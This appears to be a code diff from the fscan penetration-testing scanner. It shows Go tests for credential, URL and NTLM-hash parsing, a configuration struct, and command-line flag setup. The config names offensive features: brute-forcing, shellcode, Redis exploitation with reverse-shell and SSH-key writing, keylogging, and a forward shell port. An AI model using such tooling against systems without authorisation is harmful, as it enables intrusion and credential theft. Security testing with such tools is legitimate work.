cfg := NewConfig()
|
||||
cfg.Timeout = tt.timeout
|
||||
got := cfg.ModuleTimeout()
|
||||
if got != tt.want {
|
||||
t.Errorf("ModuleTimeout() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseUserPassPairsExactMatch 测试精确单用户单密码路径
|
||||
func TestParseUserPassPairsExactMatch(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
Username: "admin",
|
||||
Password: "secret",
|
||||
}
|
||||
pairs, err := parseUserPassPairs(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||
}
|
||||
if len(pairs) != 1 {
|
||||
t.Fatalf("期望 1 个 pair, 实际 %d", len(pairs))
|
||||
}
|
||||
if pairs[0].Username != "admin" || pairs[0].Password != "secret" {
|
||||
t.Errorf("pair = %+v, want {admin secret}", pairs[0])
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseUserPassPairsMultiUserSkips 测试多用户时不生成精确 pair
|
||||
func TestParseUserPassPairsMultiUserSkips(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
Username: "admin,root",
|
||||
Password: "pass",
|
||||
}
|
||||
pairs, err := parseUserPassPairs(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUserPassPairs error = %v", err)
|
||||
}
|
||||
if len(pairs) != 0 {
|
||||
t.Fatalf("多用户场景不应生成精确 pair, 实际 %d 个", len(pairs))
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseURLsEmpty 测试空输入返回空列表
|
||||
func TestParseURLsEmpty(t *testing.T) {
|
||||
fv := &FlagVars{}
|
||||
urls, err := parseURLs(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseURLs error = %v", err)
|
||||
}
|
||||
if len(urls) != 0 {
|
||||
t.Fatalf("空输入应返回空 url 列表, 实际 %v", urls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseURLsCommaSeparated 测试逗号分隔多 URL
|
||||
func TestParseURLsCommaSeparated(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
TargetURL: "http://a.com,http://b.com,http://a.com", // 含重复
|
||||
}
|
||||
urls, err := parseURLs(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseURLs error = %v", err)
|
||||
}
|
||||
if len(urls) != 2 {
|
||||
t.Fatalf("去重后应有 2 个 url, 实际 %d: %v", len(urls), urls)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseURLsMissingFile 测试缺失文件返回错误
|
||||
func TestParseURLsMissingFile(t *testing.T) {
|
||||
fv := &FlagVars{URLsFile: "nonexistent-urls.txt"}
|
||||
_, err := parseURLs(fv)
|
||||
if err == nil {
|
||||
t.Fatal("缺失文件应返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// parseHashes
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// TestParseHashesEmpty 空输入返回空结果
|
||||
func TestParseHashesEmpty(t *testing.T) {
|
||||
fv := &FlagVars{}
|
||||
vals, bytes, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseHashes error = %v", err)
|
||||
}
|
||||
if len(vals) != 0 || len(bytes) != 0 {
|
||||
t.Fatalf("空输入应返回空结果, vals=%v bytes=%v", vals, bytes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseHashesValidNTLM 纯 32 字符 hex hash
|
||||
func TestParseHashesValidNTLM(t *testing.T) {
|
||||
hash := "aabbccddeeff00112233445566778899"
|
||||
fv := &FlagVars{HashValue: hash}
|
||||
vals, hashBytes, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseHashes error = %v", err)
|
||||
}
|
||||
if len(vals) != 1 || vals[0] != hash {
|
||||
t.Fatalf("vals = %v, want [%s]", vals, hash)
|
||||
}
|
||||
if len(hashBytes) != 1 || len(hashBytes[0]) != 16 {
|
||||
t.Fatalf("hashBytes length wrong: %v", hashBytes)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseHashesLMNTFormat LM:NT 格式,提取 NT 部分
|
||||
func TestParseHashesLMNTFormat(t *testing.T) {
|
||||
lm := "aad3b435b51404eeaad3b435b51404ee"
|
||||
nt := "31d6cfe0d16ae931b73c59d7e0c089c0"
|
||||
fv := &FlagVars{HashValue: lm + ":" + nt}
|
||||
vals, _, err := parseHashes(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseHashes error = %v", err)
|
||||
}
|
||||
if len(vals) != 1 || vals[0] != nt {
|
||||
t.Fatalf("vals = %v, want [%s]", vals, nt)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseHashesInvalidLength hash 长度不是 32 → error
|
||||
func TestParseHashesInvalidLength(t *testing.T) {
|
||||
fv := &FlagVars{HashValue: "tooshort"}
|
||||
_, _, err := parseHashes(fv)
|
||||
if err == nil {
|
||||
t.Fatal("hash 长度不足应返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseHashesInvalidHex 32 字符但含非 hex 字符 → error
|
||||
func TestParseHashesInvalidHex(t *testing.T) {
|
||||
fv := &FlagVars{HashValue: "zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz"}
|
||||
_, _, err := parseHashes(fv)
|
||||
if err == nil {
|
||||
t.Fatal("非 hex 字符应返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseHashesMissingFile hash 文件不存在 → error
|
||||
func TestParseHashesMissingFile(t *testing.T) {
|
||||
fv := &FlagVars{HashFile: "nonexistent-hashes.txt"}
|
||||
_, _, err := parseHashes(fv)
|
||||
if err == nil {
|
||||
t.Fatal("缺失 hash 文件应返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// parseUsernames
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// TestParseUsernamesEmpty 空输入返回空结果
|
||||
func TestParseUsernamesEmpty(t *testing.T) {
|
||||
fv := &FlagVars{}
|
||||
got, err := parseUsernames(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUsernames error = %v", err)
|
||||
}
|
||||
if len(got) != 0 {
|
||||
t.Fatalf("空输入应返回空, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseUsernamesCommaSeparated 逗号分隔多用户
|
||||
func TestParseUsernamesCommaSeparated(t *testing.T) {
|
||||
fv := &FlagVars{Username: "admin, root, admin"} // 含重复和空格
|
||||
got, err := parseUsernames(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUsernames error = %v", err)
|
||||
}
|
||||
want := []string{"admin", "root"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("got %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseUsernamesAddUsers AddUsers 追加去重
|
||||
func TestParseUsernamesAddUsers(t *testing.T) {
|
||||
fv := &FlagVars{
|
||||
Username: "admin",
|
||||
AddUsers: "root,admin", // admin 重复
|
||||
}
|
||||
got, err := parseUsernames(fv)
|
||||
if err != nil {
|
||||
t.Fatalf("parseUsernames error = %v", err)
|
||||
}
|
||||
want := []string{"admin", "root"}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("got %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseUsernamesMissingFile 缺失用户文件 → error
|
||||
func TestParseUsernamesMissingFile(t *testing.T) {
|
||||
fv := &FlagVars{UsersFile: "nonexistent-users.txt"}
|
||||
_, err := parseUsernames(fv)
|
||||
if err == nil {
|
||||
t.Fatal("缺失用户文件应返回错误")
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// cloneStringSlice
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
// TestCloneStringSliceNil nil 输入返回 nil
|
||||
func TestCloneStringSliceNil(t *testing.T) {
|
||||
got := cloneStringSlice(nil)
|
||||
if got != nil {
|
||||
t.Fatalf("nil 输入应返回 nil, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCloneStringSliceEmpty 空切片:append 无元素结果为 nil,len 为 0
|
||||
func TestCloneStringSliceEmpty(t *testing.T) {
|
||||
got := cloneStringSlice([]string{})
|
||||
if len(got) != 0 {
|
||||
t.Fatalf("got len %d, want 0", len(got))
|
||||
}
|
||||
}
|
||||
|
||||
// TestCloneStringSliceCopiesValues 正常切片:值正确且独立
|
||||
func TestCloneStringSliceCopiesValues(t *testing.T) {
|
||||
src := []string{"a", "b", "c"}
|
||||
got := cloneStringSlice(src)
|
||||
if !reflect.DeepEqual(got, src) {
|
||||
t.Fatalf("got %v, want %v", got, src)
|
||||
}
|
||||
// 修改 clone 不影响原始
|
||||
got[0] = "mutated"
|
||||
if src[0] != "a" {
|
||||
t.Fatal("cloneStringSlice 返回的切片与源共享底层数组")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,243 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
)
|
||||
|
||||
/*
|
||||
config_struct.go - 配置结构体定义
|
||||
|
||||
简化后的结构:
|
||||
- 高频字段平铺到顶层
|
||||
- 子配置使用值类型(非指针)
|
||||
- 删除过度分类的 AdvancedConfig
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// Config - 扫描器配置
|
||||
// =============================================================================
|
||||
|
||||
// Config 扫描器完整配置 - 初始化后只读,可安全共享
|
||||
type Config struct {
|
||||
// 高频访问字段 - 平铺到顶层
|
||||
Timeout time.Duration // 通用超时
|
||||
TimeoutExplicit bool // 用户显式指定了 -time
|
||||
ThreadNum int // 主线程数
|
||||
ThreadCeiling int // 线程数上限(自适应池允许的最大值)
|
||||
ThreadNumExplicit bool // 用户显式指定了 -t
|
||||
ModuleThreadNum int // 模块线程数
|
||||
ModuleThreadNumExplicit bool // 用户显式指定了 -mt
|
||||
DisableBrute bool // 禁用暴力破解
|
||||
DisablePing bool // 禁用Ping检测
|
||||
DisableTcpProbe bool // 禁用TCP补充探测
|
||||
DisableSubnetProbe bool // 禁用网段预筛
|
||||
|
||||
// 扫描模式
|
||||
Mode string // 扫描模式
|
||||
LocalMode bool // 本地模式
|
||||
LocalPlugin string // 本地插件名
|
||||
AliveOnly bool // 仅存活检测
|
||||
MaxRetries int // 最大重试次数
|
||||
MaxRetriesExplicit bool // 用户显式指定了 -retry
|
||||
DetectedNetworkEnv int // 探测到的网络环境(来自 core.NetworkEnv)
|
||||
|
||||
// 高级功能(从AdvancedConfig合并)
|
||||
Shellcode string // Shellcode
|
||||
LocalPluginsList []string // 本地插件列表
|
||||
DNSLog bool // DNSLog检测
|
||||
PersistenceTargetFile string // 持久化目标文件
|
||||
WinPEFile string // WinPE文件
|
||||
PortMap map[int][]string // 端口映射
|
||||
DefaultMap []string // 默认映射
|
||||
|
||||
// 分组配置 - 值类型
|
||||
Credentials CredentialConfig
|
||||
Network NetworkConfig
|
||||
Output OutputConfig
|
||||
POC POCConfig
|
||||
Redis RedisConfig
|
||||
HTTP HTTPConfig
|
||||
LocalExploit LocalExploitConfig
|
||||
Target TargetConfig // 扫描目标配置
|
||||
|
||||
// 全局超时
|
||||
GlobalTimeout time.Duration
|
||||
GlobalTimeoutExplicit bool
|
||||
|
||||
// SOCKS5代理端口配置
|
||||
Socks5ProxyPort int // SOCKS5代理端口
|
||||
}
|
||||
|
||||
// TargetConfig 扫描目标配置
|
||||
type TargetConfig struct {
|
||||
Ports string // 端口范围字符串
|
||||
ExcludePorts string // 排除端口字符串
|
||||
}
|
||||
|
||||
// CredentialConfig 认证相关配置
|
||||
type CredentialConfig struct {
|
||||
Username string
|
||||
Password string
|
||||
Domain string
|
||||
Userdict map[string][]string
|
||||
Passwords []string
|
||||
UserPassPairs []config.CredentialPair
|
||||
HashValues []string
|
||||
HashBytes [][]byte
|
||||
SSHKeyPath string
|
||||
}
|
||||
|
||||
// NetworkConfig 网络相关配置
|
||||
type NetworkConfig struct {
|
||||
HTTPProxy string
|
||||
Socks5Proxy string
|
||||
Iface string
|
||||
WebTimeout time.Duration
|
||||
MaxRedirects int
|
||||
PacketRateLimit int64
|
||||
MaxPacketCount int64
|
||||
ICMPRate float64
|
||||
ICMPRateExplicit bool
|
||||
}
|
||||
|
||||
// OutputConfig 输出相关配置
|
||||
type OutputConfig struct {
|
||||
File string
|
||||
Format string
|
||||
DisableSave bool
|
||||
NoColor bool
|
||||
Silent bool
|
||||
DisableProgress bool
|
||||
ShowProgress bool
|
||||
LogLevel string
|
||||
Language string
|
||||
PerfStats bool
|
||||
}
|
||||
|
||||
// POCConfig POC扫描相关配置
|
||||
type POCConfig struct {
|
||||
PocPath string // POC路径
|
||||
PocName string // 指定POC名称
|
||||
Full bool // 完整POC扫描
|
||||
Num int // POC并发数
|
||||
NumExplicit bool // 用户显式指定了 -num
|
||||
Disabled bool // 禁用POC扫描
|
||||
}
|
||||
|
||||
// RedisConfig Redis利用相关配置
|
||||
type RedisConfig struct {
|
||||
Disabled bool // 禁用Redis利用
|
||||
File string // SSH密钥文件
|
||||
Shell string // 反弹Shell地址
|
||||
WritePath string // 写入路径
|
||||
WriteContent string // 写入内容
|
||||
WriteFile string // 本地文件路径
|
||||
}
|
||||
|
||||
// HTTPConfig HTTP请求相关配置
|
||||
type HTTPConfig struct {
|
||||
Cookie string // Cookie
|
||||
UserAgent string // User-Agent
|
||||
Accept string // Accept头
|
||||
}
|
||||
|
||||
// LocalExploitConfig 本地利用相关配置
|
||||
type LocalExploitConfig struct {
|
||||
ReverseShellTarget string // 反弹Shell目标
|
||||
ForwardShellPort int // 正向Shell端口
|
||||
KeyloggerOutputFile string // 键盘记录输出文件
|
||||
DownloadURL string // 下载URL
|
||||
DownloadSavePath string // 下载保存路径
|
||||
}
|
||||
|
||||
func cloneStringSlice(values []string) []string {
|
||||
if values == nil {
|
||||
return nil
|
||||
}
|
||||
return append([]string(nil), values...)
|
||||
}
|
||||
|
||||
func cloneStringSliceMap(values map[string][]string) map[string][]string {
|
||||
if values == nil {
|
||||
return nil
|
||||
}
|
||||
cloned := make(map[string][]string, len(values))
|
||||
for key, value := range values {
|
||||
cloned[key] = cloneStringSlice(value)
|
||||
}
|
||||
return cloned
|
||||
}
|
||||
|
||||
func clonePortMap(values map[int][]string) map[int][]string {
|
||||
if values == nil {
|
||||
return nil
|
||||
}
|
||||
cloned := make(map[int][]string, len(values))
|
||||
for key, value := range values {
|
||||
cloned[key] = cloneStringSlice(value)
|
||||
}
|
||||
return cloned
|
||||
}
|
||||
|
||||
const minModuleTimeout = 3 * time.Second
|
||||
|
||||
// ModuleTimeout 返回插件级超时(用于弱口令测试、服务交互等多轮协议)
|
||||
// 保证下限 3s,避免自适应把端口扫描超时压低后影响 SSH/SNMP 等交互型协议
|
||||
func (c *Config) ModuleTimeout() time.Duration {
|
||||
if c.Timeout >= minModuleTimeout {
|
||||
return c.Timeout
|
||||
}
|
||||
return minModuleTimeout
|
||||
}
|
||||
|
||||
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags)
|
||||
func NewConfig() *Config {
|
||||
return &Config{
|
||||
// 高频字段 - 使用默认常量
|
||||
Timeout: time.Duration(DefaultTimeout) * time.Second,
|
||||
ThreadNum: DefaultThreadNum,
|
||||
ThreadCeiling: DefaultThreadNum,
|
||||
ModuleThreadNum: 10,
|
||||
DisableBrute: false,
|
||||
DisablePing: false,
|
||||
DisableTcpProbe: false,
|
||||
DisableSubnetProbe: false,
|
||||
|
||||
// 扫描模式
|
||||
Mode: DefaultScanMode,
|
||||
LocalMode: false,
|
||||
AliveOnly: false,
|
||||
MaxRetries: 3,
|
||||
|
||||
// 高级功能 - 使用默认配置
|
||||
PortMap: clonePortMap(config.DefaultPortMap),
|
||||
DefaultMap: cloneStringSlice(config.DefaultProbeMap),
|
||||
|
||||
// 分组配置 - 使用默认字典
|
||||
Credentials: CredentialConfig{
|
||||
Userdict: cloneStringSliceMap(config.DefaultUserDict),
|
||||
Passwords: cloneStringSlice(config.DefaultPasswords),
|
||||
UserPassPairs: nil,
|
||||
},
|
||||
Network: NetworkConfig{
|
||||
WebTimeout: time.Duration(5) * time.Second,
|
||||
MaxRedirects: 10,
|
||||
ICMPRate: 0.1,
|
||||
},
|
||||
Output: OutputConfig{
|
||||
File: "result.txt",
|
||||
Format: "txt",
|
||||
ShowProgress: true,
|
||||
LogLevel: DefaultLogLevel,
|
||||
Language: DefaultLanguage,
|
||||
},
|
||||
POC: POCConfig{
|
||||
Num: 20,
|
||||
},
|
||||
LocalExploit: LocalExploitConfig{
|
||||
ForwardShellPort: 4444,
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,102 @@
|
||||
//go:build debug
|
||||
// +build debug
|
||||
|
||||
package debug
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/pprof"
|
||||
"runtime/trace"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
var (
|
||||
cpuProfile *os.File
|
||||
traceFile *os.File
|
||||
profilesPath = "./profiles"
|
||||
)
|
||||
|
||||
func Start() {
|
||||
if err := os.MkdirAll(profilesPath, 0755); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_profiles_failed", err))
|
||||
return
|
||||
}
|
||||
|
||||
var err error
|
||||
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_cpu_profile_failed", err))
|
||||
} else {
|
||||
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_cpu_profile_failed", err))
|
||||
cpuProfile.Close()
|
||||
cpuProfile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_cpu_profile_started", profilesPath))
|
||||
}
|
||||
}
|
||||
|
||||
traceFile, err = os.Create(profilesPath + "/trace.out")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_trace_failed", err))
|
||||
} else {
|
||||
if err := trace.Start(traceFile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_start_trace_failed", err))
|
||||
traceFile.Close()
|
||||
traceFile = nil
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_trace_started", profilesPath))
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_profiling_started", profilesPath))
|
||||
}
|
||||
|
||||
func Stop() {
|
||||
if cpuProfile != nil {
|
||||
pprof.StopCPUProfile()
|
||||
cpuProfile.Close()
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_cpu_profile_saved"))
|
||||
}
|
||||
|
||||
if traceFile != nil {
|
||||
trace.Stop()
|
||||
traceFile.Close()
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_trace_saved"))
|
||||
}
|
||||
|
||||
memProfile, err := os.Create(profilesPath + "/mem.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_mem_profile_failed", err))
|
||||
} else {
|
||||
runtime.GC()
|
||||
if err := pprof.WriteHeapProfile(memProfile); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_mem_profile_failed", err))
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_mem_profile_saved", profilesPath))
|
||||
}
|
||||
memProfile.Close()
|
||||
}
|
||||
|
||||
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
|
||||
if err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_create_goroutine_profile_failed", err))
|
||||
} else {
|
||||
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_write_goroutine_profile_failed", err))
|
||||
} else {
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.Tr("debug_goroutine_profile_saved", profilesPath))
|
||||
}
|
||||
goroutineProfile.Close()
|
||||
}
|
||||
|
||||
fmt.Printf("\n[DEBUG] %s\n", i18n.Tr("debug_profiles_saved", profilesPath))
|
||||
fmt.Printf("[DEBUG] %s\n", i18n.GetText("debug_view_methods"))
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/cpu.prof\n", i18n.GetText("debug_cpu_flamegraph"), profilesPath)
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/mem.prof\n", i18n.GetText("debug_mem_flamegraph"), profilesPath)
|
||||
fmt.Printf(" %s: go tool pprof -http=:8081 %s/goroutine.prof\n", i18n.GetText("debug_goroutine_analysis"), profilesPath)
|
||||
fmt.Printf(" %s: go tool trace %s/trace.out\n", i18n.GetText("debug_execution_timeline"), profilesPath)
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
// 生产版本:pprof 完全不编译进来
|
||||
|
||||
func Start() {}
|
||||
func Stop() {}
|
||||
@@ -0,0 +1,11 @@
|
||||
//go:build !debug
|
||||
// +build !debug
|
||||
|
||||
package debug
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestStubStartStop(t *testing.T) {
|
||||
Start()
|
||||
Stop()
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// DNSCache 并发安全的 DNS 解析缓存
|
||||
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
|
||||
var DNSCache = &dnsCache{}
|
||||
|
||||
type dnsCache struct {
|
||||
m sync.Map // host -> *net.IPAddr
|
||||
}
|
||||
|
||||
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
|
||||
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
|
||||
if v, ok := c.m.Load(host); ok {
|
||||
addr, _ := v.(*net.IPAddr)
|
||||
return addr, nil
|
||||
}
|
||||
addr, err := net.ResolveIPAddr("ip", host)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
c.m.Store(host, addr)
|
||||
return addr, nil
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package common
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestDNSCacheResolveIPAndCacheHit(t *testing.T) {
|
||||
cache := &dnsCache{}
|
||||
|
||||
first, err := cache.ResolveIP("127.0.0.1")
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveIP loopback error = %v", err)
|
||||
}
|
||||
second, err := cache.ResolveIP("127.0.0.1")
|
||||
if err != nil {
|
||||
t.Fatalf("ResolveIP cached loopback error = %v", err)
|
||||
}
|
||||
if first != second {
|
||||
t.Fatal("ResolveIP should return cached address on second lookup")
|
||||
}
|
||||
|
||||
if _, err := cache.ResolveIP("bad host with spaces"); err == nil {
|
||||
t.Fatal("ResolveIP should reject an invalid host")
|
||||
}
|
||||
}
|
||||
+389
-60
@@ -1,71 +1,400 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/fatih/color"
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
)
|
||||
|
||||
// ErrShowHelp 表示用户请求显示帮助(正常退出)
|
||||
var ErrShowHelp = errors.New("show help requested")
|
||||
|
||||
// IsLocalMode 由 plugins 包注册,判断 -m 指定的是否全是本地插件
|
||||
var IsLocalMode func(mode string) bool
|
||||
|
||||
// Banner 显示程序横幅信息
|
||||
func Banner() {
|
||||
banner := `
|
||||
___ _
|
||||
/ _ \ ___ ___ _ __ __ _ ___| | __
|
||||
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
|
||||
/ /_\\_____\__ \ (__| | | (_| | (__| <
|
||||
\____/ |___/\___|_| \__,_|\___|_|\_\
|
||||
fscan version: ` + version + `
|
||||
`
|
||||
print(banner)
|
||||
// 静默模式下完全跳过Banner显示
|
||||
if flagVars.Silent {
|
||||
return
|
||||
}
|
||||
|
||||
// 定义暗绿色系
|
||||
colors := []color.Attribute{
|
||||
color.FgGreen, // 基础绿
|
||||
color.FgHiGreen, // 亮绿
|
||||
}
|
||||
|
||||
lines := []string{
|
||||
" ___ _ ",
|
||||
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
|
||||
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
|
||||
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
|
||||
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
|
||||
}
|
||||
|
||||
// 获取最长行的长度
|
||||
maxLength := 0
|
||||
for _, line := range lines {
|
||||
if len(line) > maxLength {
|
||||
maxLength = len(line)
|
||||
}
|
||||
}
|
||||
|
||||
// 创建边框
|
||||
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
|
||||
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
|
||||
|
||||
// 打印banner
|
||||
fmt.Println(topBorder)
|
||||
|
||||
for lineNum, line := range lines {
|
||||
fmt.Print("│ ")
|
||||
if flagVars.NoColor {
|
||||
// 无色彩模式下使用普通文本
|
||||
fmt.Print(line)
|
||||
} else {
|
||||
// 使用对应的颜色打印每个字符
|
||||
c := color.New(colors[lineNum%2])
|
||||
_, _ = c.Print(line)
|
||||
}
|
||||
// 补齐空格
|
||||
padding := maxLength - len(line)
|
||||
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
|
||||
}
|
||||
|
||||
fmt.Println(bottomBorder)
|
||||
|
||||
// 打印版本信息
|
||||
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
|
||||
if commit == "unknown" {
|
||||
versionStr = fmt.Sprintf(" Fscan %s", version)
|
||||
}
|
||||
if flagVars.NoColor {
|
||||
fmt.Printf("%s\n\n", versionStr)
|
||||
} else {
|
||||
c := color.New(colors[1])
|
||||
_, _ = c.Printf("%s\n\n", versionStr)
|
||||
}
|
||||
}
|
||||
|
||||
func Flag(Info *HostInfo) {
|
||||
// Flag 解析命令行参数并配置扫描选项
|
||||
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
|
||||
func Flag(Info *HostInfo) error {
|
||||
// 预处理语言设置 - 在定义flag之前检查lang参数
|
||||
preProcessLanguage()
|
||||
|
||||
fv := flagVars // 使用全局 FlagVars 实例
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 目标配置参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
|
||||
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
|
||||
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
|
||||
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
|
||||
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
|
||||
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
|
||||
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 扫描控制参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
|
||||
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
|
||||
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
|
||||
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
|
||||
flag.Int64Var(&fv.GlobalTimeout, "gt", 0, i18n.GetText("flag_global_timeout"))
|
||||
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
|
||||
flag.BoolVar(&fv.DisableSubnetProbe, "nsp", false, i18n.GetText("flag_disable_subnet_probe"))
|
||||
flag.StringVar(&fv.LocalPlugin, "local", "", i18n.GetText("flag_local_plugin"))
|
||||
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 认证与凭据参数
|
||||
// ═════════════════════════════════════════════════
|
||||
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
|
||||
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
|
||||
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
|
||||
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
|
||||
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
|
||||
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
|
||||
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
|
||||
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
|
||||
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
|
||||
